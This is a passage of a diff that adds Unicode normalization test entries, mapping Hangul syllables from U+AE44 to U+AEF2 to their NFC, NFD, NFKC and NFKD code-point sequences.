+{ source: [0xAE44], NFC: [0xAE44], NFD: [0x1100, 0x1175, 0x11BB], NFKC: [0xAE44], NFKD: [0x1100, 0x1175, 0x11BB] },
+{ source: [0xAE45], NFC: [0xAE45], NFD: [0x1100, 0x1175, 0x11BC], NFKC: [0xAE45], NFKD: [0x1100, 0x1175, 0x11BC] },
+{ source: [0xAE46], NFC: [0xAE46], NFD: [0x1100, 0x1175, 0x11BD], NFKC: [0xAE46], NFKD: [0x1100, 0x1175, 0x11BD] },
+{ source: [0xAE47], NFC: [0xAE47], NFD: [0x1100, 0x1175, 0x11BE], NFKC: [0xAE47], NFKD: [0x1100, 0x1175, 0x11BE] },
+{ source: [0xAE48], NFC: [0xAE48], NFD: [0x1100, 0x1175, 0x11BF], NFKC: [0xAE48], NFKD: [0x1100, 0x1175, 0x11BF] },
+{ source: [0xAE49], NFC: [0xAE49], NFD: [0x1100, 0x1175, 0x11C0], NFKC: [0xAE49], NFKD: [0x1100, 0x1175, 0x11C0] },
+{ source: [0xAE4A], NFC: [0xAE4A], NFD: [0x1100, 0x1175, 0x11C1], NFKC: [0xAE4A], NFKD: [0x1100, 0x1175, 0x11C1] },
+{ source: [0xAE4B], NFC: [0xAE4B], NFD: [0x1100, 0x1175, 0x11C2], NFKC: [0xAE4B], NFKD: [0x1100, 0x1175, 0x11C2] },
+{ source: [0xAE4C], NFC: [0xAE4C], NFD: [0x1101, 0x1161], NFKC: [0xAE4C], NFKD: [0x1101, 0x1161] },
+{ source: [0xAE4D], NFC: [0xAE4D], NFD: [0x1101, 0x1161, 0x11A8], NFKC: [0xAE4D], NFKD: [0x1101, 0x1161, 0x11A8] },
+{ source: [0xAE4E], NFC: [0xAE4E], NFD: [0x1101, 0x1161, 0x11A9], NFKC: [0xAE4E], NFKD: [0x1101, 0x1161, 0x11A9] },
+{ source: [0xAE4F], NFC: [0xAE4F], NFD: [0x1101, 0x1161, 0x11AA], NFKC: [0xAE4F], NFKD: [0x1101, 0x1161, 0x11AA] },
+{ source: [0xAE50], NFC: [0xAE50], NFD: [0x1101, 0x1161, 0x11AB], NFKC: [0xAE50], NFKD: [0x1101, 0x1161, 0x11AB] },
+{ source: [0xAE51], NFC: [0xAE51], NFD: [0x1101, 0x1161, 0x11AC], NFKC: [0xAE51], NFKD: [0x1101, 0x1161, 0x11AC] },
+{ source: [0xAE52], NFC: [0xAE52], NFD: [0x1101, 0x1161, 0x11AD], NFKC: [0xAE52], NFKD: [0x1101, 0x1161, 0x11AD] },
+{ source: [0xAE53], NFC: [0xAE53], NFD: [0x1101, 0x1161, 0x11AE], NFKC: [0xAE53], NFKD: [0x1101, 0x1161, 0x11AE] },
+{ source: [0xAE54], NFC: [0xAE54], NFD: [0x1101, 0x1161, 0x11AF], NFKC: [0xAE54], NFKD: [0x1101, 0x1161, 0x11AF] },
+{ source: [0xAE55], NFC: [0xAE55], NFD: [0x1101, 0x1161, 0x11B0], NFKC: [0xAE55], NFKD: [0x1101, 0x1161, 0x11B0] },
+{ source: [0xAE56], NFC: [0xAE56], NFD: [0x1101, 0x1161, 0x11B1], NFKC: [0xAE56], NFKD: [0x1101, 0x1161, 0x11B1] },
+{ source: [0xAE57], NFC: [0xAE57], NFD: [0x1101, 0x1161, 0x11B2], NFKC: [0xAE57], NFKD: [0x1101, 0x1161, 0x11B2] },
+{ source: [0xAE58], NFC: [0xAE58], NFD: [0x1101, 0x1161, 0x11B3], NFKC: [0xAE58], NFKD: [0x1101, 0x1161, 0x11B3] },
+{ source: [0xAE59], NFC: [0xAE59], NFD: [0x1101, 0x1161, 0x11B4], NFKC: [0xAE59], NFKD: [0x1101, 0x1161, 0x11B4] },
+{ source: [0xAE5A], NFC: [0xAE5A], NFD: [0x1101, 0x1161, 0x11B5], NFKC: [0xAE5A], NFKD: [0x1101, 0x1161, 0x11B5] },
+{ source: [0xAE5B], NFC: [0xAE5B], NFD: [0x1101, 0x1161, 0x11B6], NFKC: [0xAE5B], NFKD: [0x1101, 0x1161, 0x11B6] },
+{ source: [0xAE5C], NFC: [0xAE5C], NFD: [0x1101, 0x1161, 0x11B7], NFKC: [0xAE5C], NFKD: [0x1101, 0x1161, 0x11B7] },
+{ source: [0xAE5D], NFC: [0xAE5D], NFD: [0x1101, 0x1161, 0x11B8], NFKC: [0xAE5D], NFKD: [0x1101, 0x1161, 0x11B8] },
+{ source: [0xAE5E], NFC: [0xAE5E], NFD: [0x1101, 0x1161, 0x11B9], NFKC: [0xAE5E], NFKD: [0x1101, 0x1161, 0x11B9] },
+{ source: [0xAE5F], NFC: [0xAE5F], NFD: [0x1101, 0x1161, 0x11BA], NFKC: [0xAE5F], NFKD: [0x1101, 0x1161, 0x11BA] },
+{ source: [0xAE60], NFC: [0xAE60], NFD: [0x1101, 0x1161, 0x11BB], NFKC: [0xAE60], NFKD: [0x1101, 0x1161, 0x11BB] },
+{ source: [0xAE61], NFC: [0xAE61], NFD: [0x1101, 0x1161, 0x11BC], NFKC: [0xAE61], NFKD: [0x1101, 0x1161, 0x11BC] },
+{ source: [0xAE62], NFC: [0xAE62], NFD: [0x1101, 0x1161, 0x11BD], NFKC: [0xAE62], NFKD: [0x1101, 0x1161, 0x11BD] },
+{ source: [0xAE63], NFC: [0xAE63], NFD: [0x1101, 0x1161, 0x11BE], NFKC: [0xAE63], NFKD: [0x1101, 0x1161, 0x11BE] },
+{ source: [0xAE64], NFC: [0xAE64], NFD: [0x1101, 0x1161, 0x11BF], NFKC: [0xAE64], NFKD: [0x1101, 0x1161, 0x11BF] },
+{ source: [0xAE65], NFC: [0xAE65], NFD: [0x1101, 0x1161, 0x11C0], NFKC: [0xAE65], NFKD: [0x1101, 0x1161, 0x11C0] },
+{ source: [0xAE66], NFC: [0xAE66], NFD: [0x1101, 0x1161, 0x11C1], NFKC: [0xAE66], NFKD: [0x1101, 0x1161, 0x11C1] },
+{ source: [0xAE67], NFC: [0xAE67], NFD: [0x1101, 0x1161, 0x11C2], NFKC: [0xAE67], NFKD: [0x1101, 0x1161, 0x11C2] },
+{ source: [0xAE68], NFC: [0xAE68], NFD: [0x1101, 0x1162], NFKC: [0xAE68], NFKD: [0x1101, 0x1162] },
+{ source: [0xAE69], NFC: [0xAE69], NFD: [0x1101, 0x1162, 0x11A8], NFKC: [0xAE69], NFKD: [0x1101, 0x1162, 0x11A8] },
+{ source: [0xAE6A], NFC: [0xAE6A], NFD: [0x1101, 0x1162, 0x11A9], NFKC: [0xAE6A], NFKD: [0x1101, 0x1162, 0x11A9] },
+{ source: [0xAE6B], NFC: [0xAE6B], NFD: [0x1101, 0x1162, 0x11AA], NFKC: [0xAE6B], NFKD: [0x1101, 0x1162, 0x11AA] },
+{ source: [0xAE6C], NFC: [0xAE6C], NFD: [0x1101, 0x1162, 0x11AB], NFKC: [0xAE6C], NFKD: [0x1101, 0x1162, 0x11AB] },
+{ source: [0xAE6D], NFC: [0xAE6D], NFD: [0x1101, 0x1162, 0x11AC], NFKC: [0xAE6D], NFKD: [0x1101, 0x1162, 0x11AC] },
+{ source: [0xAE6E], NFC: [0xAE6E], NFD: [0x1101, 0x1162, 0x11AD], NFKC: [0xAE6E], NFKD: [0x1101, 0x1162, 0x11AD] },
+{ source: [0xAE6F], NFC: [0xAE6F], NFD: [0x1101, 0x1162, 0x11AE], NFKC: [0xAE6F], NFKD: [0x1101, 0x1162, 0x11AE] },
+{ source: [0xAE70], NFC: [0xAE70], NFD: [0x1101, 0x1162, 0x11AF], NFKC: [0xAE70], NFKD: [0x1101, 0x1162, 0x11AF] },
+{ source: [0xAE71], NFC: [0xAE71], NFD: [0x1101, 0x1162, 0x11B0], NFKC: [0xAE71], NFKD: [0x1101, 0x1162, 0x11B0] },
+{ source: [0xAE72], NFC: [0xAE72], NFD: [0x1101, 0x1162, 0x11B1], NFKC: [0xAE72], NFKD: [0x1101, 0x1162, 0x11B1] },
+{ source: [0xAE73], NFC: [0xAE73], NFD: [0x1101, 0x1162, 0x11B2], NFKC: [0xAE73], NFKD: [0x1101, 0x1162, 0x11B2] },
+{ source: [0xAE74], NFC: [0xAE74], NFD: [0x1101, 0x1162, 0x11B3], NFKC: [0xAE74], NFKD: [0x1101, 0x1162, 0x11B3] },
+{ source: [0xAE75], NFC: [0xAE75], NFD: [0x1101, 0x1162, 0x11B4], NFKC: [0xAE75], NFKD: [0x1101, 0x1162, 0x11B4] },
+{ source: [0xAE76], NFC: [0xAE76], NFD: [0x1101, 0x1162, 0x11B5], NFKC: [0xAE76], NFKD: [0x1101, 0x1162, 0x11B5] },
+{ source: [0xAE77], NFC: [0xAE77], NFD: [0x1101, 0x1162, 0x11B6], NFKC: [0xAE77], NFKD: [0x1101, 0x1162, 0x11B6] },
+{ source: [0xAE78], NFC: [0xAE78], NFD: [0x1101, 0x1162, 0x11B7], NFKC: [0xAE78], NFKD: [0x1101, 0x1162, 0x11B7] },
+{ source: [0xAE79], NFC: [0xAE79], NFD: [0x1101, 0x1162, 0x11B8], NFKC: [0xAE79], NFKD: [0x1101, 0x1162, 0x11B8] },
+{ source: [0xAE7A], NFC: [0xAE7A], NFD: [0x1101, 0x1162, 0x11B9], NFKC: [0xAE7A], NFKD: [0x1101, 0x1162, 0x11B9] },
+{ source: [0xAE7B], NFC: [0xAE7B], NFD: [0x1101, 0x1162, 0x11BA], NFKC: [0xAE7B], NFKD: [0x1101, 0x1162, 0x11BA] },
+{ source: [0xAE7C], NFC: [0xAE7C], NFD: [0x1101, 0x1162, 0x11BB], NFKC: [0xAE7C], NFKD: [0x1101, 0x1162, 0x11BB] },
+{ source: [0xAE7D], NFC: [0xAE7D], NFD: [0x1101, 0x1162, 0x11BC], NFKC: [0xAE7D], NFKD: [0x1101, 0x1162, 0x11BC] },
+{ source: [0xAE7E], NFC: [0xAE7E], NFD: [0x1101, 0x1162, 0x11BD], NFKC: [0xAE7E], NFKD: [0x1101, 0x1162, 0x11BD] },
+{ source: [0xAE7F], NFC: [0xAE7F], NFD: [0x1101, 0x1162, 0x11BE], NFKC: [0xAE7F], NFKD: [0x1101, 0x1162, 0x11BE] },
+{ source: [0xAE80], NFC: [0xAE80], NFD: [0x1101, 0x1162, 0x11BF], NFKC: [0xAE80], NFKD: [0x1101, 0x1162, 0x11BF] },
+{ source: [0xAE81], NFC: [0xAE81], NFD: [0x1101, 0x1162, 0x11C0], NFKC: [0xAE81], NFKD: [0x1101, 0x1162, 0x11C0] },
+{ source: [0xAE82], NFC: [0xAE82], NFD: [0x1101, 0x1162, 0x11C1], NFKC: [0xAE82], NFKD: [0x1101, 0x1162, 0x11C1] },
+{ source: [0xAE83], NFC: [0xAE83], NFD: [0x1101, 0x1162, 0x11C2], NFKC: [0xAE83], NFKD: [0x1101, 0x1162, 0x11C2] },
+{ source: [0xAE84], NFC: [0xAE84], NFD: [0x1101, 0x1163], NFKC: [0xAE84], NFKD: [0x1101, 0x1163] },
+{ source: [0xAE85], NFC: [0xAE85], NFD: [0x1101, 0x1163, 0x11A8], NFKC: [0xAE85], NFKD: [0x1101, 0x1163, 0x11A8] },
+{ source: [0xAE86], NFC: [0xAE86], NFD: [0x1101, 0x1163, 0x11A9], NFKC: [0xAE86], NFKD: [0x1101, 0x1163, 0x11A9] },
+{ source: [0xAE87], NFC: [0xAE87], NFD: [0x1101, 0x1163, 0x11AA], NFKC: [0xAE87], NFKD: [0x1101, 0x1163, 0x11AA] },
+{ source: [0xAE88], NFC: [0xAE88], NFD: [0x1101, 0x1163, 0x11AB], NFKC: [0xAE88], NFKD: [0x1101, 0x1163, 0x11AB] },
+{ source: [0xAE89], NFC: [0xAE89], NFD: [0x1101, 0x1163, 0x11AC], NFKC: [0xAE89], NFKD: [0x1101, 0x1163, 0x11AC] },
+{ source: [0xAE8A], NFC: [0xAE8A], NFD: [0x1101, 0x1163, 0x11AD], NFKC: [0xAE8A], NFKD: [0x1101, 0x1163, 0x11AD] },
+{ source: [0xAE8B], NFC: [0xAE8B], NFD: [0x1101, 0x1163, 0x11AE], NFKC: [0xAE8B], NFKD: [0x1101, 0x1163, 0x11AE] },
+{ source: [0xAE8C], NFC: [0xAE8C], NFD: [0x1101, 0x1163, 0x11AF], NFKC: [0xAE8C], NFKD: [0x1101, 0x1163, 0x11AF] },
+{ source: [0xAE8D], NFC: [0xAE8D], NFD: [0x1101, 0x1163, 0x11B0], NFKC: [0xAE8D], NFKD: [0x1101, 0x1163, 0x11B0] },
+{ source: [0xAE8E], NFC: [0xAE8E], NFD: [0x1101, 0x1163, 0x11B1], NFKC: [0xAE8E], NFKD: [0x1101, 0x1163, 0x11B1] },
+{ source: [0xAE8F], NFC: [0xAE8F], NFD: [0x1101, 0x1163, 0x11B2], NFKC: [0xAE8F], NFKD: [0x1101, 0x1163, 0x11B2] },
+{ source: [0xAE90], NFC: [0xAE90], NFD: [0x1101, 0x1163, 0x11B3], NFKC: [0xAE90], NFKD: [0x1101, 0x1163, 0x11B3] },
+{ source: [0xAE91], NFC: [0xAE91], NFD: [0x1101, 0x1163, 0x11B4], NFKC: [0xAE91], NFKD: [0x1101, 0x1163, 0x11B4] },
+{ source: [0xAE92], NFC: [0xAE92], NFD: [0x1101, 0x1163, 0x11B5], NFKC: [0xAE92], NFKD: [0x1101, 0x1163, 0x11B5] },
+{ source: [0xAE93], NFC: [0xAE93], NFD: [0x1101, 0x1163, 0x11B6], NFKC: [0xAE93], NFKD: [0x1101, 0x1163, 0x11B6] },
+{ source: [0xAE94], NFC: [0xAE94], NFD: [0x1101, 0x1163, 0x11B7], NFKC: [0xAE94], NFKD: [0x1101, 0x1163, 0x11B7] },
+{ source: [0xAE95], NFC: [0xAE95], NFD: [0x1101, 0x1163, 0x11B8], NFKC: [0xAE95], NFKD: [0x1101, 0x1163, 0x11B8] },
+{ source: [0xAE96], NFC: [0xAE96], NFD: [0x1101, 0x1163, 0x11B9], NFKC: [0xAE96], NFKD: [0x1101, 0x1163, 0x11B9] },
+{ source: [0xAE97], NFC: [0xAE97], NFD: [0x1101, 0x1163, 0x11BA], NFKC: [0xAE97], NFKD: [0x1101, 0x1163, 0x11BA] },
+{ source: [0xAE98], NFC: [0xAE98], NFD: [0x1101, 0x1163, 0x11BB], NFKC: [0xAE98], NFKD: [0x1101, 0x1163, 0x11BB] },
+{ source: [0xAE99], NFC: [0xAE99], NFD: [0x1101, 0x1163, 0x11BC], NFKC: [0xAE99], NFKD: [0x1101, 0x1163, 0x11BC] },
+{ source: [0xAE9A], NFC: [0xAE9A], NFD: [0x1101, 0x1163, 0x11BD], NFKC: [0xAE9A], NFKD: [0x1101, 0x1163, 0x11BD] },
+{ source: [0xAE9B], NFC: [0xAE9B], NFD: [0x1101, 0x1163, 0x11BE], NFKC: [0xAE9B], NFKD: [0x1101, 0x1163, 0x11BE] },
+{ source: [0xAE9C], NFC: [0xAE9C], NFD: [0x1101, 0x1163, 0x11BF], NFKC: [0xAE9C], NFKD: [0x1101, 0x1163, 0x11BF] },
+{ source: [0xAE9D], NFC: [0xAE9D], NFD: [0x1101, 0x1163, 0x11C0], NFKC: [0xAE9D], NFKD: [0x1101, 0x1163, 0x11C0] },
+{ source: [0xAE9E], NFC: [0xAE9E], NFD: [0x1101, 0x1163, 0x11C1], NFKC: [0xAE9E], NFKD: [0x1101, 0x1163, 0x11C1] },
+{ source: [0xAE9F], NFC: [0xAE9F], NFD: [0x1101, 0x1163, 0x11C2], NFKC: [0xAE9F], NFKD: [0x1101, 0x1163, 0x11C2] },
+{ source: [0xAEA0], NFC: [0xAEA0], NFD: [0x1101, 0x1164], NFKC: [0xAEA0], NFKD: [0x1101, 0x1164] },
+{ source: [0xAEA1], NFC: [0xAEA1], NFD: [0x1101, 0x1164, 0x11A8], NFKC: [0xAEA1], NFKD: [0x1101, 0x1164, 0x11A8] },
+{ source: [0xAEA2], NFC: [0xAEA2], NFD: [0x1101, 0x1164, 0x11A9], NFKC: [0xAEA2], NFKD: [0x1101, 0x1164, 0x11A9] },
+{ source: [0xAEA3], NFC: [0xAEA3], NFD: [0x1101, 0x1164, 0x11AA], NFKC: [0xAEA3], NFKD: [0x1101, 0x1164, 0x11AA] },
+{ source: [0xAEA4], NFC: [0xAEA4], NFD: [0x1101, 0x1164, 0x11AB], NFKC: [0xAEA4], NFKD: [0x1101, 0x1164, 0x11AB] },
+{ source: [0xAEA5], NFC: [0xAEA5], NFD: [0x1101, 0x1164, 0x11AC], NFKC: [0xAEA5], NFKD: [0x1101, 0x1164, 0x11AC] },
+{ source: [0xAEA6], NFC: [0xAEA6], NFD: [0x1101, 0x1164, 0x11AD], NFKC: [0xAEA6], NFKD: [0x1101, 0x1164, 0x11AD] },
+{ source: [0xAEA7], NFC: [0xAEA7], NFD: [0x1101, 0x1164, 0x11AE], NFKC: [0xAEA7], NFKD: [0x1101, 0x1164, 0x11AE] },
+{ source: [0xAEA8], NFC: [0xAEA8], NFD: [0x1101, 0x1164, 0x11AF], NFKC: [0xAEA8], NFKD: [0x1101, 0x1164, 0x11AF] },
+{ source: [0xAEA9], NFC: [0xAEA9], NFD: [0x1101, 0x1164, 0x11B0], NFKC: [0xAEA9], NFKD: [0x1101, 0x1164, 0x11B0] },
+{ source: [0xAEAA], NFC: [0xAEAA], NFD: [0x1101, 0x1164, 0x11B1], NFKC: [0xAEAA], NFKD: [0x1101, 0x1164, 0x11B1] },
+{ source: [0xAEAB], NFC: [0xAEAB], NFD: [0x1101, 0x1164, 0x11B2], NFKC: [0xAEAB], NFKD: [0x1101, 0x1164, 0x11B2] },
+{ source: [0xAEAC], NFC: [0xAEAC], NFD: [0x1101, 0x1164, 0x11B3], NFKC: [0xAEAC], NFKD: [0x1101, 0x1164, 0x11B3] },
+{ source: [0xAEAD], NFC: [0xAEAD], NFD: [0x1101, 0x1164, 0x11B4], NFKC: [0xAEAD], NFKD: [0x1101, 0x1164, 0x11B4] },
+{ source: [0xAEAE], NFC: [0xAEAE], NFD: [0x1101, 0x1164, 0x11B5], NFKC: [0xAEAE], NFKD: [0x1101, 0x1164, 0x11B5] },
+{ source: [0xAEAF], NFC: [0xAEAF], NFD: [0x1101, 0x1164, 0x11B6], NFKC: [0xAEAF], NFKD: [0x1101, 0x1164, 0x11B6] },
+{ source: [0xAEB0], NFC: [0xAEB0], NFD: [0x1101, 0x1164, 0x11B7], NFKC: [0xAEB0], NFKD: [0x1101, 0x1164, 0x11B7] },
+{ source: [0xAEB1], NFC: [0xAEB1], NFD: [0x1101, 0x1164, 0x11B8], NFKC: [0xAEB1], NFKD: [0x1101, 0x1164, 0x11B8] },
+{ source: [0xAEB2], NFC: [0xAEB2], NFD: [0x1101, 0x1164, 0x11B9], NFKC: [0xAEB2], NFKD: [0x1101, 0x1164, 0x11B9] },
+{ source: [0xAEB3], NFC: [0xAEB3], NFD: [0x1101, 0x1164, 0x11BA], NFKC: [0xAEB3], NFKD: [0x1101, 0x1164, 0x11BA] },
+{ source: [0xAEB4], NFC: [0xAEB4], NFD: [0x1101, 0x1164, 0x11BB], NFKC: [0xAEB4], NFKD: [0x1101, 0x1164, 0x11BB] },
+{ source: [0xAEB5], NFC: [0xAEB5], NFD: [0x1101, 0x1164, 0x11BC], NFKC: [0xAEB5], NFKD: [0x1101, 0x1164, 0x11BC] },
+{ source: [0xAEB6], NFC: [0xAEB6], NFD: [0x1101, 0x1164, 0x11BD], NFKC: [0xAEB6], NFKD: [0x1101, 0x1164, 0x11BD] },
+{ source: [0xAEB7], NFC: [0xAEB7], NFD: [0x1101, 0x1164, 0x11BE], NFKC: [0xAEB7], NFKD: [0x1101, 0x1164, 0x11BE] },
+{ source: [0xAEB8], NFC: [0xAEB8], NFD: [0x1101, 0x1164, 0x11BF], NFKC: [0xAEB8], NFKD: [0x1101, 0x1164, 0x11BF] },
+{ source: [0xAEB9], NFC: [0xAEB9], NFD: [0x1101, 0x1164, 0x11C0], NFKC: [0xAEB9], NFKD: [0x1101, 0x1164, 0x11C0] },
+{ source: [0xAEBA], NFC: [0xAEBA], NFD: [0x1101, 0x1164, 0x11C1], NFKC: [0xAEBA], NFKD: [0x1101, 0x1164, 0x11C1] },
+{ source: [0xAEBB], NFC: [0xAEBB], NFD: [0x1101, 0x1164, 0x11C2], NFKC: [0xAEBB], NFKD: [0x1101, 0x1164, 0x11C2] },
+{ source: [0xAEBC], NFC: [0xAEBC], NFD: [0x1101, 0x1165], NFKC: [0xAEBC], NFKD: [0x1101, 0x1165] },
+{ source: [0xAEBD], NFC: [0xAEBD], NFD: [0x1101, 0x1165, 0x11A8], NFKC: [0xAEBD], NFKD: [0x1101, 0x1165, 0x11A8] },
+{ source: [0xAEBE], NFC: [0xAEBE], NFD: [0x1101, 0x1165, 0x11A9], NFKC: [0xAEBE], NFKD: [0x1101, 0x1165, 0x11A9] },
+{ source: [0xAEBF], NFC: [0xAEBF], NFD: [0x1101, 0x1165, 0x11AA], NFKC: [0xAEBF], NFKD: [0x1101, 0x1165, 0x11AA] },
+{ source: [0xAEC0], NFC: [0xAEC0], NFD: [0x1101, 0x1165, 0x11AB], NFKC: [0xAEC0], NFKD: [0x1101, 0x1165, 0x11AB] },
+{ source: [0xAEC1], NFC: [0xAEC1], NFD: [0x1101, 0x1165, 0x11AC], NFKC: [0xAEC1], NFKD: [0x1101, 0x1165, 0x11AC] },
+{ source: [0xAEC2], NFC: [0xAEC2], NFD: [0x1101, 0x1165, 0x11AD], NFKC: [0xAEC2], NFKD: [0x1101, 0x1165, 0x11AD] },
+{ source: [0xAEC3], NFC: [0xAEC3], NFD: [0x1101, 0x1165, 0x11AE], NFKC: [0xAEC3], NFKD: [0x1101, 0x1165, 0x11AE] },
+{ source: [0xAEC4], NFC: [0xAEC4], NFD: [0x1101, 0x1165, 0x11AF], NFKC: [0xAEC4], NFKD: [0x1101, 0x1165, 0x11AF] },
+{ source: [0xAEC5], NFC: [0xAEC5], NFD: [0x1101, 0x1165, 0x11B0], NFKC: [0xAEC5], NFKD: [0x1101, 0x1165, 0x11B0] },
+{ source: [0xAEC6], NFC: [0xAEC6], NFD: [0x1101, 0x1165, 0x11B1], NFKC: [0xAEC6], NFKD: [0x1101, 0x1165, 0x11B1] },
+{ source: [0xAEC7], NFC: [0xAEC7], NFD: [0x1101, 0x1165, 0x11B2], NFKC: [0xAEC7], NFKD: [0x1101, 0x1165, 0x11B2] },
+{ source: [0xAEC8], NFC: [0xAEC8], NFD: [0x1101, 0x1165, 0x11B3], NFKC: [0xAEC8], NFKD: [0x1101, 0x1165, 0x11B3] },
+{ source: [0xAEC9], NFC: [0xAEC9], NFD: [0x1101, 0x1165, 0x11B4], NFKC: [0xAEC9], NFKD: [0x1101, 0x1165, 0x11B4] },
+{ source: [0xAECA], NFC: [0xAECA], NFD: [0x1101, 0x1165, 0x11B5], NFKC: [0xAECA], NFKD: [0x1101, 0x1165, 0x11B5] },
+{ source: [0xAECB], NFC: [0xAECB], NFD: [0x1101, 0x1165, 0x11B6], NFKC: [0xAECB], NFKD: [0x1101, 0x1165, 0x11B6] },
+{ source: [0xAECC], NFC: [0xAECC], NFD: [0x1101, 0x1165, 0x11B7], NFKC: [0xAECC], NFKD: [0x1101, 0x1165, 0x11B7] },
+{ source: [0xAECD], NFC: [0xAECD], NFD: [0x1101, 0x1165, 0x11B8], NFKC: [0xAECD], NFKD: [0x1101, 0x1165, 0x11B8] },
+{ source: [0xAECE], NFC: [0xAECE], NFD: [0x1101, 0x1165, 0x11B9], NFKC: [0xAECE], NFKD: [0x1101, 0x1165, 0x11B9] },
+{ source: [0xAECF], NFC: [0xAECF], NFD: [0x1101, 0x1165, 0x11BA], NFKC: [0xAECF], NFKD: [0x1101, 0x1165, 0x11BA] },
+{ source: [0xAED0], NFC: [0xAED0], NFD: [0x1101, 0x1165, 0x11BB], NFKC: [0xAED0], NFKD: [0x1101, 0x1165, 0x11BB] },
+{ source: [0xAED1], NFC: [0xAED1], NFD: [0x1101, 0x1165, 0x11BC], NFKC: [0xAED1], NFKD: [0x1101, 0x1165, 0x11BC] },
+{ source: [0xAED2], NFC: [0xAED2], NFD: [0x1101, 0x1165, 0x11BD], NFKC: [0xAED2], NFKD: [0x1101, 0x1165, 0x11BD] },
+{ source: [0xAED3], NFC: [0xAED3], NFD: [0x1101, 0x1165, 0x11BE], NFKC: [0xAED3], NFKD: [0x1101, 0x1165, 0x11BE] },
+{ source: [0xAED4], NFC: [0xAED4], NFD: [0x1101, 0x1165, 0x11BF], NFKC: [0xAED4], NFKD: [0x1101, 0x1165, 0x11BF] },
+{ source: [0xAED5], NFC: [0xAED5], NFD: [0x1101, 0x1165, 0x11C0], NFKC: [0xAED5], NFKD: [0x1101, 0x1165, 0x11C0] },
+{ source: [0xAED6], NFC: [0xAED6], NFD: [0x1101, 0x1165, 0x11C1], NFKC: [0xAED6], NFKD: [0x1101, 0x1165, 0x11C1] },
+{ source: [0xAED7], NFC: [0xAED7], NFD: [0x1101, 0x1165, 0x11C2], NFKC: [0xAED7], NFKD: [0x1101, 0x1165, 0x11C2] },
+{ source: [0xAED8], NFC: [0xAED8], NFD: [0x1101, 0x1166], NFKC: [0xAED8], NFKD: [0x1101, 0x1166] },
+{ source: [0xAED9], NFC: [0xAED9], NFD: [0x1101, 0x1166, 0x11A8], NFKC: [0xAED9], NFKD: [0x1101, 0x1166, 0x11A8] },
+{ source: [0xAEDA], NFC: [0xAEDA], NFD: [0x1101, 0x1166, 0x11A9], NFKC: [0xAEDA], NFKD: [0x1101, 0x1166, 0x11A9] },
+{ source: [0xAEDB], NFC: [0xAEDB], NFD: [0x1101, 0x1166, 0x11AA], NFKC: [0xAEDB], NFKD: [0x1101, 0x1166, 0x11AA] },
+{ source: [0xAEDC], NFC: [0xAEDC], NFD: [0x1101, 0x1166, 0x11AB], NFKC: [0xAEDC], NFKD: [0x1101, 0x1166, 0x11AB] },
+{ source: [0xAEDD], NFC: [0xAEDD], NFD: [0x1101, 0x1166, 0x11AC], NFKC: [0xAEDD], NFKD: [0x1101, 0x1166, 0x11AC] },
+{ source: [0xAEDE], NFC: [0xAEDE], NFD: [0x1101, 0x1166, 0x11AD], NFKC: [0xAEDE], NFKD: [0x1101, 0x1166, 0x11AD] },
+{ source: [0xAEDF], NFC: [0xAEDF], NFD: [0x1101, 0x1166, 0x11AE], NFKC: [0xAEDF], NFKD: [0x1101, 0x1166, 0x11AE] },
+{ source: [0xAEE0], NFC: [0xAEE0], NFD: [0x1101, 0x1166, 0x11AF], NFKC: [0xAEE0], NFKD: [0x1101, 0x1166, 0x11AF] },
+{ source: [0xAEE1], NFC: [0xAEE1], NFD: [0x1101, 0x1166, 0x11B0], NFKC: [0xAEE1], NFKD: [0x1101, 0x1166, 0x11B0] },
+{ source: [0xAEE2], NFC: [0xAEE2], NFD: [0x1101, 0x1166, 0x11B1], NFKC: [0xAEE2], NFKD: [0x1101, 0x1166, 0x11B1] },
+{ source: [0xAEE3], NFC: [0xAEE3], NFD: [0x1101, 0x1166, 0x11B2], NFKC: [0xAEE3], NFKD: [0x1101, 0x1166, 0x11B2] },
+{ source: [0xAEE4], NFC: [0xAEE4], NFD: [0x1101, 0x1166, 0x11B3], NFKC: [0xAEE4], NFKD: [0x1101, 0x1166, 0x11B3] },
+{ source: [0xAEE5], NFC: [0xAEE5], NFD: [0x1101, 0x1166, 0x11B4], NFKC: [0xAEE5], NFKD: [0x1101, 0x1166, 0x11B4] },
+{ source: [0xAEE6], NFC: [0xAEE6], NFD: [0x1101, 0x1166, 0x11B5], NFKC: [0xAEE6], NFKD: [0x1101, 0x1166, 0x11B5] },
+{ source: [0xAEE7], NFC: [0xAEE7], NFD: [0x1101, 0x1166, 0x11B6], NFKC: [0xAEE7], NFKD: [0x1101, 0x1166, 0x11B6] },
+{ source: [0xAEE8], NFC: [0xAEE8], NFD: [0x1101, 0x1166, 0x11B7], NFKC: [0xAEE8], NFKD: [0x1101, 0x1166, 0x11B7] },
+{ source: [0xAEE9], NFC: [0xAEE9], NFD: [0x1101, 0x1166, 0x11B8], NFKC: [0xAEE9], NFKD: [0x1101, 0x1166, 0x11B8] },
+{ source: [0xAEEA], NFC: [0xAEEA], NFD: [0x1101, 0x1166, 0x11B9], NFKC: [0xAEEA], NFKD: [0x1101, 0x1166, 0x11B9] },
+{ source: [0xAEEB], NFC: [0xAEEB], NFD: [0x1101, 0x1166, 0x11BA], NFKC: [0xAEEB], NFKD: [0x1101, 0x1166, 0x11BA] },
+{ source: [0xAEEC], NFC: [0xAEEC], NFD: [0x1101, 0x1166, 0x11BB], NFKC: [0xAEEC], NFKD: [0x1101, 0x1166, 0x11BB] },
+{ source: [0xAEED], NFC: [0xAEED], NFD: [0x1101, 0x1166, 0x11BC], NFKC: [0xAEED], NFKD: [0x1101, 0x1166, 0x11BC] },
+{ source: [0xAEEE], NFC: [0xAEEE], NFD: [0x1101, 0x1166, 0x11BD], NFKC: [0xAEEE], NFKD: [0x1101, 0x1166, 0x11BD] },
+{ source: [0xAEEF], NFC: [0xAEEF], NFD: [0x1101, 0x1166, 0x11BE], NFKC: [0xAEEF], NFKD: [0x1101, 0x1166, 0x11BE] },
+{ source: [0xAEF0], NFC: [0xAEF0], NFD: [0x1101, 0x1166, 0x11BF], NFKC: [0xAEF0], NFKD: [0x1101, 0x1166, 0x11BF] },
+{ source: [0xAEF1], NFC: [0xAEF1], NFD: [0x1101, 0x1166, 0x11C0], NFKC: [0xAEF1], NFKD: [0x1101, 0x1166, 0x11C0] },
+{ source: [0xAEF2], NFC: [0xAEF2], NFD: [0x1101, 0x1166, 0x11C1], NFKC: [0xAEF2], NFKD: [0x1101, 0x1166, 0x11C1] },
